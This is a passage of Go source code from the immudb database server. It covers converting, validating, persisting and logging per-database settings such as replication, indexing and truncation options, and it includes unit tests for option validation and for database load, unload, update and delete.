CacheSize: &schema.NullableUint32{Value: uint32(opts.IndexOptions.CacheSize)}, MaxNodeSize: &schema.NullableUint32{Value: uint32(opts.IndexOptions.MaxNodeSize)}, MaxActiveSnapshots: &schema.NullableUint32{Value: uint32(opts.IndexOptions.MaxActiveSnapshots)}, RenewSnapRootAfter: &schema.NullableUint64{Value: uint64(opts.IndexOptions.RenewSnapRootAfter)}, CompactionThld: &schema.NullableUint32{Value: uint32(opts.IndexOptions.CompactionThld)}, DelayDuringCompaction: &schema.NullableUint32{Value: uint32(opts.IndexOptions.DelayDuringCompaction)}, NodesLogMaxOpenedFiles: &schema.NullableUint32{Value: uint32(opts.IndexOptions.NodesLogMaxOpenedFiles)}, HistoryLogMaxOpenedFiles: &schema.NullableUint32{Value: uint32(opts.IndexOptions.HistoryLogMaxOpenedFiles)}, CommitLogMaxOpenedFiles: &schema.NullableUint32{Value: uint32(opts.IndexOptions.CommitLogMaxOpenedFiles)}, MaxBulkSize: &schema.NullableUint32{Value: uint32(opts.IndexOptions.MaxBulkSize)}, BulkPreparationTimeout: &schema.NullableMilliseconds{Value: int64(opts.IndexOptions.BulkPreparationTimeout)}, }, AhtSettings: &schema.AHTNullableSettings{ SyncThreshold: &schema.NullableUint32{Value: uint32(opts.AHTOptions.SyncThreshold)}, WriteBufferSize: &schema.NullableUint32{Value: uint32(opts.AHTOptions.WriteBufferSize)}, }, WriteTxHeaderVersion: &schema.NullableUint32{Value: uint32(opts.WriteTxHeaderVersion)}, Autoload: &schema.NullableBool{Value: opts.Autoload.isEnabled()}, ReadTxPoolSize: &schema.NullableUint32{Value: uint32(opts.ReadTxPoolSize)}, TruncationSettings: &schema.TruncationNullableSettings{ RetentionPeriod: &schema.NullableMilliseconds{Value: int64(opts.RetentionPeriod)}, TruncationFrequency: &schema.NullableMilliseconds{Value: int64(opts.TruncationFrequency)}, }, } } // dbSettingsToDbSettingsV2 converts old schema.DatabaseSettings message into new schema.DatabaseSettingsV2 // This is to add compatibility between old API using DatabaseSettings with new ones. // Only those fields that were present up to the 1.2.2 release are supported. // Changing any other fields requires new API calls. func dbSettingsToDBNullableSettings(settings *schema.DatabaseSettings) *schema.DatabaseNullableSettings { nullableUInt32 := func(v uint32) *schema.NullableUint32 { if v > 0 { return &schema.NullableUint32{ Value: v, } } return nil } repSettings := &schema.ReplicationNullableSettings{ Replica: &schema.NullableBool{Value: settings.Replica}, PrimaryDatabase: &schema.NullableString{Value: settings.PrimaryDatabase}, PrimaryHost: &schema.NullableString{Value: settings.PrimaryHost}, PrimaryPort: &schema.NullableUint32{Value: settings.PrimaryPort}, PrimaryUsername: &schema.NullableString{Value: settings.PrimaryUsername}, PrimaryPassword: &schema.NullableString{Value: settings.PrimaryPassword}, } if !settings.Replica { repSettings.SyncAcks = &schema.NullableUint32{} repSettings.PrefetchTxBufferSize = &schema.NullableUint32{} repSettings.ReplicationCommitConcurrency = &schema.NullableUint32{} } ret := &schema.DatabaseNullableSettings{ ReplicationSettings: repSettings, FileSize: nullableUInt32(settings.FileSize), MaxKeyLen: nullableUInt32(settings.MaxKeyLen), MaxValueLen: nullableUInt32(settings.MaxValueLen), MaxTxEntries: nullableUInt32(settings.MaxTxEntries), } return ret } func (s *ImmuServer) overwriteWith(opts *dbOptions, settings *schema.DatabaseNullableSettings, existentDB bool) error { if existentDB { // permanent settings can not be changed after database is created // in the future, some settings may turn into non-permanent if settings.FileSize != nil { return fmt.Errorf("%w: %s can not be changed after database creation ('%s')", ErrIllegalArguments, "file size", opts.Database) } if settings.MaxKeyLen != nil { return fmt.Errorf("%w: %s can not be changed after database creation ('%s')", ErrIllegalArguments, "max key length", opts.Database) } if settings.MaxValueLen != nil { return fmt.Errorf("%w: %s can not be changed after database creation ('%s')", ErrIllegalArguments, "max value length", opts.Database) } if settings.MaxTxEntries != nil { return fmt.Errorf("%w: %s can not be changed after database creation ('%s')", ErrIllegalArguments, "max number of entries per transaction", opts.Database) } if settings.EmbeddedValues != nil { return fmt.Errorf("%w: %s can not be changed after database creation ('%s')", ErrIllegalArguments, "embedded values", opts.Database) } if settings.PreallocFiles != nil { return fmt.Errorf("%w: %s can not be changed after database creation ('%s')", ErrIllegalArguments, "prealloc files", opts.Database) } if settings.IndexSettings != nil && settings.IndexSettings.MaxNodeSize != nil { return fmt.Errorf("%w: %s can not be changed after database creation ('%s')", ErrIllegalArguments, "max node size", opts.Database) } opts.UpdatedAt = time.Now() } opts.synced = s.Options.synced // database instance options if settings.ReadTxPoolSize != nil { opts.ReadTxPoolSize = int(settings.ReadTxPoolSize.Value) } // replication settings if settings.ReplicationSettings != nil { rs := settings.ReplicationSettings if rs.Replica != nil { opts.Replica = rs.Replica.Value } if rs.SyncReplication != nil { opts.SyncReplication = rs.SyncReplication.Value } if rs.SyncAcks != nil { opts.SyncAcks = int(rs.SyncAcks.Value) } else if opts.Replica { opts.SyncAcks = 0 } if rs.PrimaryDatabase != nil { opts.PrimaryDatabase = rs.PrimaryDatabase.Value } else if !opts.Replica { opts.PrimaryDatabase = "" } if rs.PrimaryHost != nil { opts.PrimaryHost = rs.PrimaryHost.Value } else if !opts.Replica { opts.PrimaryHost = "" } if rs.PrimaryPort != nil { opts.PrimaryPort = int(rs.PrimaryPort.Value) } else if !opts.Replica { opts.PrimaryPort = 0 } if rs.PrimaryUsername != nil { opts.PrimaryUsername = rs.PrimaryUsername.Value } else if !opts.Replica { opts.PrimaryUsername = "" } if rs.PrimaryPassword != nil { opts.PrimaryPassword = rs.PrimaryPassword.Value } else if !opts.Replica { opts.PrimaryPassword = "" } if rs.PrefetchTxBufferSize != nil { opts.PrefetchTxBufferSize = int(rs.PrefetchTxBufferSize.Value) } else if opts.Replica && opts.PrefetchTxBufferSize == 0 { // set default value when it's not set opts.PrefetchTxBufferSize = replication.DefaultPrefetchTxBufferSize } else if !opts.Replica { opts.PrefetchTxBufferSize = 0 } if rs.ReplicationCommitConcurrency != nil { opts.ReplicationCommitConcurrency = int(rs.ReplicationCommitConcurrency.Value) } else if opts.Replica && opts.ReplicationCommitConcurrency == 0 { // set default value when it's not set opts.ReplicationCommitConcurrency = replication.DefaultReplicationCommitConcurrency } else if !opts.Replica { opts.ReplicationCommitConcurrency = 0 } if rs.AllowTxDiscarding != nil { opts.AllowTxDiscarding = rs.AllowTxDiscarding.Value } if rs.SkipIntegrityCheck != nil { opts.SkipIntegrityCheck = rs.SkipIntegrityCheck.Value } if rs.WaitForIndexing != nil { opts.WaitForIndexing = rs.WaitForIndexing.Value } } // store options if settings.SyncFrequency != nil { opts.SyncFrequency = Milliseconds(settings.SyncFrequency.Value) } if settings.FileSize != nil { opts.FileSize = int(settings.FileSize.Value) } if settings.MaxKeyLen != nil { opts.MaxKeyLen = int(settings.MaxKeyLen.Value) } if settings.MaxValueLen != nil { opts.MaxValueLen = int(settings.MaxValueLen.Value) } if settings.MaxTxEntries != nil { opts.MaxTxEntries = int(settings.MaxTxEntries.Value) } if settings.EmbeddedValues != nil { opts.EmbeddedValues = settings.EmbeddedValues.Value } if settings.PreallocFiles != nil { opts.PreallocFiles = settings.PreallocFiles.Value } if settings.ExcludeCommitTime != nil { opts.ExcludeCommitTime = settings.ExcludeCommitTime.Value } if settings.MaxActiveTransactions != nil { opts.MaxActiveTransactions = int(settings.MaxActiveTransactions.Value) } if settings.MvccReadSetLimit != nil { opts.MVCCReadSetLimit = int(settings.MvccReadSetLimit.Value) } if settings.MaxConcurrency != nil { opts.MaxConcurrency = int(settings.MaxConcurrency.Value) } if settings.MaxIOConcurrency != nil { opts.MaxIOConcurrency = int(settings.MaxIOConcurrency.Value) } if settings.WriteBufferSize != nil { opts.WriteBufferSize = int(settings.WriteBufferSize.Value) } if settings.TxLogCacheSize != nil { opts.TxLogCacheSize = int(settings.TxLogCacheSize.Value) } if settings.VLogCacheSize != nil { opts.VLogCacheSize = int(settings.VLogCacheSize.Value) } if settings.VLogMaxOpenedFiles != nil { opts.VLogMaxOpenedFiles = int(settings.VLogMaxOpenedFiles.Value) } if settings.TxLogMaxOpenedFiles != nil { opts.TxLogMaxOpenedFiles = int(settings.TxLogMaxOpenedFiles.Value) } if settings.CommitLogMaxOpenedFiles != nil { opts.CommitLogMaxOpenedFiles = int(settings.CommitLogMaxOpenedFiles.Value) } if settings.WriteTxHeaderVersion != nil { opts.WriteTxHeaderVersion = int(settings.WriteTxHeaderVersion.Value) } if settings.Autoload != nil { if settings.Autoload.Value { opts.Autoload = enabledState } else { opts.Autoload = disabledState } } if settings.TruncationSettings != nil { if settings.TruncationSettings.RetentionPeriod != nil { opts.RetentionPeriod = Milliseconds(settings.TruncationSettings.RetentionPeriod.Value) } if settings.TruncationSettings.TruncationFrequency != nil { opts.TruncationFrequency = Milliseconds(settings.TruncationSettings.TruncationFrequency.Value) } } // index options if settings.IndexSettings != nil { if opts.IndexOptions == nil { opts.IndexOptions = s.defaultIndexOptions() } if settings.IndexSettings.FlushThreshold != nil { opts.IndexOptions.FlushThreshold = int(settings.IndexSettings.FlushThreshold.Value) } if settings.IndexSettings.SyncThreshold != nil { opts.IndexOptions.SyncThreshold = int(settings.IndexSettings.SyncThreshold.Value) } if settings.IndexSettings.FlushBufferSize != nil { opts.IndexOptions.FlushBufferSize = int(settings.IndexSettings.FlushBufferSize.Value) } if settings.IndexSettings.CleanupPercentage != nil { opts.IndexOptions.CleanupPercentage = settings.IndexSettings.CleanupPercentage.Value } if settings.IndexSettings.CacheSize != nil { opts.IndexOptions.CacheSize = int(settings.IndexSettings.CacheSize.Value) } if settings.IndexSettings.MaxNodeSize != nil { opts.IndexOptions.MaxNodeSize = int(settings.IndexSettings.MaxNodeSize.Value) } if settings.IndexSettings.MaxActiveSnapshots != nil { opts.IndexOptions.MaxActiveSnapshots = int(settings.IndexSettings.MaxActiveSnapshots.Value) } if settings.IndexSettings.RenewSnapRootAfter != nil { opts.IndexOptions.RenewSnapRootAfter = int64(settings.IndexSettings.RenewSnapRootAfter.Value) } if settings.IndexSettings.CompactionThld != nil { opts.IndexOptions.CompactionThld = int(settings.IndexSettings.CompactionThld.Value) } if settings.IndexSettings.DelayDuringCompaction != nil { opts.IndexOptions.DelayDuringCompaction = int64(settings.IndexSettings.DelayDuringCompaction.Value) } if settings.IndexSettings.NodesLogMaxOpenedFiles != nil { opts.IndexOptions.NodesLogMaxOpenedFiles = int(settings.IndexSettings.NodesLogMaxOpenedFiles.Value) } if settings.IndexSettings.HistoryLogMaxOpenedFiles != nil { opts.IndexOptions.HistoryLogMaxOpenedFiles = int(settings.IndexSettings.HistoryLogMaxOpenedFiles.Value) } if settings.IndexSettings.CommitLogMaxOpenedFiles != nil { opts.IndexOptions.CommitLogMaxOpenedFiles = int(settings.IndexSettings.CommitLogMaxOpenedFiles.Value) } if settings.IndexSettings.MaxBulkSize != nil { opts.IndexOptions.MaxBulkSize = int(settings.IndexSettings.MaxBulkSize.Value) } if settings.IndexSettings.BulkPreparationTimeout != nil { opts.IndexOptions.BulkPreparationTimeout = Milliseconds(settings.IndexSettings.BulkPreparationTimeout.Value) } } // aht options if settings.AhtSettings != nil { if opts.AHTOptions == nil { opts.AHTOptions = s.defaultAHTOptions() } if settings.AhtSettings.SyncThreshold != nil { opts.AHTOptions.SyncThreshold = int(settings.AhtSettings.SyncThreshold.Value) } if settings.AhtSettings.WriteBufferSize != nil { opts.AHTOptions.WriteBufferSize = int(settings.AhtSettings.WriteBufferSize.Value) } } err := opts.Validate() if err != nil { return fmt.Errorf("%w: %v", ErrIllegalArguments, err) } return nil } func (opts *dbOptions) Validate() error { if opts.Replica { if opts.PrefetchTxBufferSize <= 0 { return fmt.Errorf( "%w: invalid value for replication option PrefetchTxBufferSize on replica database '%s'", ErrIllegalArguments, opts.Database) } if opts.ReplicationCommitConcurrency <= 0 { return fmt.Errorf( "%w: invalid value for replication option ReplicationCommitConcurrency on replica database '%s'", ErrIllegalArguments, opts.Database) } if opts.SyncAcks > 0 { return fmt.Errorf( "%w: invalid value for replication option SyncAcks ReplicationCommitConcurrency on database '%s'", ErrIllegalArguments, opts.Database) } } else { if opts.SyncAcks < 0 { return fmt.Errorf( "%w: invalid value for replication option SyncAcks on primary database '%s'", ErrIllegalArguments, opts.Database) } if opts.PrimaryDatabase != "" { return fmt.Errorf( "%w: invalid value for replication option PrimaryDatabase on primary database '%s'", ErrIllegalArguments, opts.Database) } if opts.PrimaryHost != "" { return fmt.Errorf( "%w: invalid value for replication option PrimaryHost on primary database '%s'", ErrIllegalArguments, opts.Database) } if opts.PrimaryPort > 0 { return fmt.Errorf( "%w: invalid value for replication option PrimaryPort on primary database '%s'", ErrIllegalArguments, opts.Database) } if opts.PrimaryUsername != "" { return fmt.Errorf( "%w: invalid value for replication option PrimaryUsername on primary database '%s'", ErrIllegalArguments, opts.Database) } if opts.PrimaryPassword != "" { return fmt.Errorf( "%w: invalid value for replication option PrimaryPassword on primary database '%s'", ErrIllegalArguments, opts.Database) } if opts.PrefetchTxBufferSize > 0 { return fmt.Errorf( "%w: invalid value for replication option PrefetchTxBufferSize on primary database '%s'", ErrIllegalArguments, opts.Database) } if opts.ReplicationCommitConcurrency > 0 { return fmt.Errorf( "%w: invalid value for replication option ReplicationCommitConcurrency on primary database '%s'", ErrIllegalArguments, opts.Database) } if opts.AllowTxDiscarding { return fmt.Errorf( "%w: invalid value for replication option AllowTxDiscarding on primary database '%s'", ErrIllegalArguments, opts.Database) } if opts.SkipIntegrityCheck { return fmt.Errorf( "%w: invalid value for replication option SkipIntegrityCheck on primary database '%s'", ErrIllegalArguments, opts.Database) } if opts.WaitForIndexing { return fmt.Errorf( "%w: invalid value for replication option WaitForIndexing on primary database '%s'", ErrIllegalArguments, opts.Database) } if opts.SyncReplication && opts.SyncAcks == 0 { return fmt.Errorf( "%w: invalid replication options for primary database '%s'. It is necessary to have at least one sync replica", ErrIllegalArguments, opts.Database) } if !opts.SyncReplication && opts.SyncAcks > 0 { return fmt.Errorf( "%w: invalid replication options for primary database '%s'. SyncAcks should be set to 0", ErrIllegalArguments, opts.Database) } } if opts.ReadTxPoolSize <= 0 { return fmt.Errorf( "%w: invalid read tx pool size (%d) for database '%s'", ErrIllegalArguments, opts.ReadTxPoolSize, opts.Database, ) } if opts.RetentionPeriod < 0 || (opts.RetentionPeriod > 0 && opts.RetentionPeriod < Milliseconds(store.MinimumRetentionPeriod.Milliseconds())) { return fmt.Errorf( "%w: invalid retention period for database '%s'. RetentionPeriod should at least '%v' hours", ErrIllegalArguments, opts.Database, store.MinimumRetentionPeriod.Hours()) } if opts.TruncationFrequency < 0 || (opts.TruncationFrequency > 0 && opts.TruncationFrequency < Milliseconds(store.MinimumTruncationFrequency.Milliseconds())) { return fmt.Errorf( "%w: invalid truncation frequency for database '%s'. TruncationFrequency should at least '%v' hour", ErrIllegalArguments, opts.Database, store.MinimumTruncationFrequency.Hours()) } return opts.storeOptions().Validate() } func (opts *dbOptions) isReplicatorRequired() bool { return opts.Replica && opts.PrimaryDatabase != "" && opts.PrimaryHost != "" && opts.PrimaryPort > 0 } func (opts *dbOptions) isDataRetentionEnabled() bool { return opts.RetentionPeriod > 0 } func (s *ImmuServer) saveDBOptions(options *dbOptions) error { serializedOptions, err := json.Marshal(options) if err != nil { return err } optionsKey := make([]byte, 1+len(options.Database)) optionsKey[0] = KeyPrefixDBSettings copy(optionsKey[1:], []byte(options.Database)) _, err = s.sysDB.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: optionsKey, Value: serializedOptions}}}) return err } func (s *ImmuServer) deleteDBOptionsFor(db string) error { optionsKey := make([]byte, 1+len(db)) optionsKey[0] = KeyPrefixDBSettings copy(optionsKey[1:], []byte(db)) _, err := s.sysDB.Delete(context.Background(), &schema.DeleteKeysRequest{ Keys: [][]byte{ optionsKey, }, }) return err } func (s *ImmuServer) loadDBOptions(database string, createIfNotExists bool) (*dbOptions, error) { if database == s.Options.systemAdminDBName || database == s.Options.defaultDBName { return s.defaultDBOptions(database, s.Options.systemAdminDBName), nil } optionsKey := make([]byte, 1+len(database)) optionsKey[0] = KeyPrefixDBSettings copy(optionsKey[1:], []byte(database)) options := s.defaultDBOptions(database, "") e, err := s.sysDB.Get(context.Background(), &schema.KeyRequest{Key: optionsKey}) if errors.Is(err, store.ErrKeyNotFound) && createIfNotExists { err = s.saveDBOptions(options) if err != nil { return nil, err } return options, nil } if err != nil { return nil, err } err = json.Unmarshal(e.Value, &options) if err != nil { return nil, err } return options, nil } func (s *ImmuServer) logDBOptions(database string, opts *dbOptions) { // This list is manually updated to ensure we don't expose sensitive information // in logs such as replication passwords s.Logger.Infof("%s.Autoload: %v", database, opts.Autoload.isEnabled()) s.Logger.Infof("%s.Synced: %v", database, opts.synced) s.Logger.Infof("%s.SyncFrequency: %v", database, opts.SyncFrequency) s.Logger.Infof("%s.Replica: %v", database, opts.Replica) s.Logger.Infof("%s.SyncReplication: %v", database, opts.SyncReplication) s.Logger.Infof("%s.SyncAcks: %v", database, opts.SyncAcks) s.Logger.Infof("%s.PrefetchTxBufferSize: %v", database, opts.PrefetchTxBufferSize) s.Logger.Infof("%s.ReplicationCommitConcurrency: %v", database, opts.ReplicationCommitConcurrency) s.Logger.Infof("%s.AllowTxDiscarding: %v", database, opts.AllowTxDiscarding) s.Logger.Infof("%s.SkipIntegrityCheck: %v", database, opts.SkipIntegrityCheck) s.Logger.Infof("%s.WaitForIndexing: %v", database, opts.WaitForIndexing) s.Logger.Infof("%s.FileSize: %v", database, opts.FileSize) s.Logger.Infof("%s.MaxKeyLen: %v", database, opts.MaxKeyLen) s.Logger.Infof("%s.MaxValueLen: %v", database, opts.MaxValueLen) s.Logger.Infof("%s.MaxTxEntries: %v", database, opts.MaxTxEntries) s.Logger.Infof("%s.EmbeddedValues: %v", database, opts.EmbeddedValues) s.Logger.Infof("%s.PreallocFiles: %v", database, opts.PreallocFiles) s.Logger.Infof("%s.ExcludeCommitTime: %v", database, opts.ExcludeCommitTime) s.Logger.Infof("%s.MaxActiveTransactions: %v", database, opts.MaxActiveTransactions) s.Logger.Infof("%s.MVCCReadSetLimit: %v", database, opts.MVCCReadSetLimit) s.Logger.Infof("%s.MaxConcurrency: %v", database, opts.MaxConcurrency) s.Logger.Infof("%s.MaxIOConcurrency: %v", database, opts.MaxIOConcurrency) s.Logger.Infof("%s.WriteBufferSize: %v", database, opts.WriteBufferSize) s.Logger.Infof("%s.TxLogCacheSize: %v", database, opts.TxLogCacheSize) s.Logger.Infof("%s.VLogCacheSize: %v", database, opts.VLogCacheSize) s.Logger.Infof("%s.VLogMaxOpenedFiles: %v", database, opts.VLogMaxOpenedFiles) s.Logger.Infof("%s.TxLogMaxOpenedFiles: %v", database, opts.TxLogMaxOpenedFiles) s.Logger.Infof("%s.CommitLogMaxOpenedFiles: %v", database, opts.CommitLogMaxOpenedFiles) s.Logger.Infof("%s.WriteTxHeaderVersion: %v", database, opts.WriteTxHeaderVersion) s.Logger.Infof("%s.ReadTxPoolSize: %v", database, opts.ReadTxPoolSize) s.Logger.Infof("%s.TruncationFrequency: %v", database, opts.TruncationFrequency) s.Logger.Infof("%s.RetentionPeriod: %v", database, opts.RetentionPeriod) s.Logger.Infof("%s.IndexOptions.FlushThreshold: %v", database, opts.IndexOptions.FlushThreshold) s.Logger.Infof("%s.IndexOptions.SyncThreshold: %v", database, opts.IndexOptions.SyncThreshold) s.Logger.Infof("%s.IndexOptions.FlushBufferSize: %v", database, opts.IndexOptions.FlushBufferSize) s.Logger.Infof("%s.IndexOptions.CleanupPercentage: %v", database, opts.IndexOptions.CleanupPercentage) s.Logger.Infof("%s.IndexOptions.CacheSize: %v", database, opts.IndexOptions.CacheSize) s.Logger.Infof("%s.IndexOptions.MaxNodeSize: %v", database, opts.IndexOptions.MaxNodeSize) s.Logger.Infof("%s.IndexOptions.MaxActiveSnapshots: %v", database, opts.IndexOptions.MaxActiveSnapshots) s.Logger.Infof("%s.IndexOptions.RenewSnapRootAfter: %v", database, opts.IndexOptions.RenewSnapRootAfter) s.Logger.Infof("%s.IndexOptions.CompactionThld: %v", database, opts.IndexOptions.CompactionThld) s.Logger.Infof("%s.IndexOptions.DelayDuringCompaction: %v", database, opts.IndexOptions.DelayDuringCompaction) s.Logger.Infof("%s.IndexOptions.NodesLogMaxOpenedFiles: %v", database, opts.IndexOptions.NodesLogMaxOpenedFiles) s.Logger.Infof("%s.IndexOptions.HistoryLogMaxOpenedFiles: %v", database, opts.IndexOptions.HistoryLogMaxOpenedFiles) s.Logger.Infof("%s.IndexOptions.CommitLogMaxOpenedFiles: %v", database, opts.IndexOptions.CommitLogMaxOpenedFiles) s.Logger.Infof("%s.IndexOptions.MaxBulkSize: %v", database, opts.IndexOptions.MaxBulkSize) s.Logger.Infof("%s.IndexOptions.BulkPreparationTimeout: %v", database, opts.IndexOptions.BulkPreparationTimeout) s.Logger.Infof("%s.AHTOptions.SyncThreshold: %v", database, opts.AHTOptions.SyncThreshold) s.Logger.Infof("%s.AHTOptions.WriteBufferSize: %v", database, opts.AHTOptions.WriteBufferSize) } ================================================ FILE: pkg/server/db_options_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "testing" "github.com/codenotary/immudb/pkg/replication" "github.com/stretchr/testify/require" ) func TestDefaultOptions(t *testing.T) { dir := t.TempDir() s, closer := testServer(DefaultOptions().WithDir(dir)) defer closer() opts := s.defaultDBOptions("db1", "user") require.NoError(t, opts.Validate()) opts.ReadTxPoolSize = 0 require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) } func TestReplicaOptions(t *testing.T) { dir := t.TempDir() s, closer := testServer(DefaultOptions().WithDir(dir)) defer closer() opts := s.defaultDBOptions("db1", "user") opts.Replica = true opts.PrefetchTxBufferSize = replication.DefaultPrefetchTxBufferSize opts.ReplicationCommitConcurrency = replication.DefaultReplicationCommitConcurrency opts.SyncAcks = 0 require.NoError(t, opts.Validate()) opts.SyncAcks = 1 require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) opts.ReplicationCommitConcurrency = 0 require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) opts.PrefetchTxBufferSize = 0 require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) } func TestPrimaryOptions(t *testing.T) { dir := t.TempDir() s, closer := testServer(DefaultOptions().WithDir(dir)) defer closer() opts := s.defaultDBOptions("db1", "user") opts.Replica = false require.NoError(t, opts.Validate()) opts.SyncReplication = false opts.SyncAcks = 1 require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) opts.SyncReplication = true opts.SyncAcks = 0 require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) opts.AllowTxDiscarding = true require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) opts.ReplicationCommitConcurrency = 1 require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) opts.PrefetchTxBufferSize = 100 require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) opts.PrimaryPassword = "primary-pwd" require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) opts.PrimaryUsername = "primary-username" require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) opts.PrimaryPort = 3323 require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) opts.PrimaryHost = "localhost" require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) opts.PrimaryDatabase = "primarydb" require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) opts.SyncAcks = -1 require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) opts.TruncationFrequency = -1 require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) opts.RetentionPeriod = -1 require.ErrorIs(t, opts.Validate(), ErrIllegalArguments) } ================================================ FILE: pkg/server/db_runtime_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "fmt" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/database" "github.com/stretchr/testify/require" "google.golang.org/grpc/metadata" "google.golang.org/protobuf/types/known/emptypb" ) func TestServerDatabaseRuntime(t *testing.T) { dir := t.TempDir() opts := DefaultOptions().WithDir(dir) s := DefaultServer() s.WithOptions(opts) s.Initialize() ctx := context.Background() resp, err := s.OpenSession(ctx, &schema.OpenSessionRequest{ Username: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword), DatabaseName: DefaultDBName, }) require.NoError(t, err) ctx = metadata.NewIncomingContext(context.Background(), metadata.New(map[string]string{"sessionid": resp.GetSessionID()})) t.Run("reserved databases can not be updated", func(t *testing.T) { _, err = s.UpdateDatabaseV2(ctx, &schema.UpdateDatabaseRequest{ Database: SystemDBName, Settings: &schema.DatabaseNullableSettings{ Autoload: &schema.NullableBool{Value: false}, }, }) require.ErrorIs(t, err, ErrReservedDatabase) _, err = s.UpdateDatabaseV2(ctx, &schema.UpdateDatabaseRequest{ Database: DefaultDBName, Settings: &schema.DatabaseNullableSettings{ Autoload: &schema.NullableBool{Value: false}, }, }) require.ErrorIs(t, err, ErrReservedDatabase) }) t.Run("user created databases can be updated", func(t *testing.T) { _, err = s.CreateDatabaseV2(ctx, &schema.CreateDatabaseRequest{ Name: "db1", }) require.NoError(t, err) _, err = s.UseDatabase(ctx, &schema.Database{DatabaseName: "db1"}) require.NoError(t, err) res, err := s.GetDatabaseSettingsV2(ctx, &schema.DatabaseSettingsRequest{}) require.NoError(t, err) require.NotNil(t, res) require.Equal(t, "db1", res.Database) require.True(t, res.Settings.Autoload.GetValue()) _, err = s.UpdateDatabaseV2(ctx, &schema.UpdateDatabaseRequest{ Database: "db1", Settings: &schema.DatabaseNullableSettings{ Autoload: &schema.NullableBool{Value: false}, }, }) require.NoError(t, err) res, err = s.GetDatabaseSettingsV2(ctx, &schema.DatabaseSettingsRequest{}) require.NoError(t, err) require.NotNil(t, res) require.Equal(t, "db1", res.Database) require.False(t, res.Settings.Autoload.GetValue()) }) t.Run("attempt to delete an open database should fail", func(t *testing.T) { _, err = s.DeleteDatabase(ctx, &schema.DeleteDatabaseRequest{Database: "db1"}) require.ErrorIs(t, err, database.ErrCannotDeleteAnOpenDatabase) }) t.Run("attempt to load an already loaded database should fail", func(t *testing.T) { _, err = s.LoadDatabase(ctx, &schema.LoadDatabaseRequest{Database: "db1"}) require.ErrorIs(t, err, ErrDatabaseAlreadyLoaded) }) t.Run("attempt to unload a loaded database should succeed", func(t *testing.T) { _, err = s.UnloadDatabase(ctx, &schema.UnloadDatabaseRequest{Database: "db1"}) require.NoError(t, err) }) t.Run("attempt to load an unloaded database should succeed", func(t *testing.T) { _, err = s.LoadDatabase(ctx, &schema.LoadDatabaseRequest{Database: "db1"}) require.NoError(t, err) }) t.Run("attempt to delete an unloaded database should succeed", func(t *testing.T) { _, err = s.UnloadDatabase(ctx, &schema.UnloadDatabaseRequest{Database: "db1"}) require.NoError(t, err) _, err = s.DeleteDatabase(ctx, &schema.DeleteDatabaseRequest{Database: "db1"}) require.NoError(t, err) }) t.Run("attempt to load a deleted database should fail", func(t *testing.T) { _, err = s.LoadDatabase(ctx, &schema.LoadDatabaseRequest{Database: "db1"}) require.ErrorIs(t, err, database.ErrDatabaseNotExists) }) _, err = s.CloseSession(ctx, &emptypb.Empty{}) require.NoError(t, err) } func TestServerDatabaseRuntimeEdgeCases(t *testing.T) { dir := t.TempDir() opts := DefaultOptions().WithDir(dir) s := DefaultServer() s.WithOptions(opts) s.Initialize() ctx := context.Background() resp, err := s.OpenSession(ctx, &schema.OpenSessionRequest{ Username: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword), DatabaseName: DefaultDBName, }) require.NoError(t, err) ctx = metadata.NewIncomingContext(context.Background(), metadata.New(map[string]string{"sessionid": resp.GetSessionID()})) for i, c := range []struct { req *schema.LoadDatabaseRequest err error }{ {nil, ErrIllegalArguments}, {&schema.LoadDatabaseRequest{Database: s.Options.systemAdminDBName}, ErrReservedDatabase}, {&schema.LoadDatabaseRequest{Database: s.Options.defaultDBName}, ErrReservedDatabase}, {&schema.LoadDatabaseRequest{Database: "unexistent_db"}, database.ErrDatabaseNotExists}, } { t.Run(fmt.Sprintf("loadDatabaseCase%d", i), func(t *testing.T) { res, err := s.LoadDatabase(ctx, c.req) if c.err == nil { require.NoError(t, err) } else { require.ErrorIs(t, err, c.err) } require.Nil(t, res) }) } for i, c := range []struct { req *schema.UpdateDatabaseRequest err error }{ {nil, ErrIllegalArguments}, {&schema.UpdateDatabaseRequest{Database: s.Options.systemAdminDBName}, ErrReservedDatabase}, {&schema.UpdateDatabaseRequest{Database: s.Options.defaultDBName}, ErrReservedDatabase}, {&schema.UpdateDatabaseRequest{Database: "unexistent_db"}, database.ErrDatabaseNotExists}, } { t.Run(fmt.Sprintf("updateDatabaseCase%d", i), func(t *testing.T) { res, err := s.UpdateDatabaseV2(ctx, c.req) if c.err == nil { require.NoError(t, err) } else { require.ErrorIs(t, err, c.err) } require.Nil(t, res) }) } for i, c := range []struct { req *schema.UnloadDatabaseRequest err error }{ {nil, ErrIllegalArguments}, {&schema.UnloadDatabaseRequest{Database: 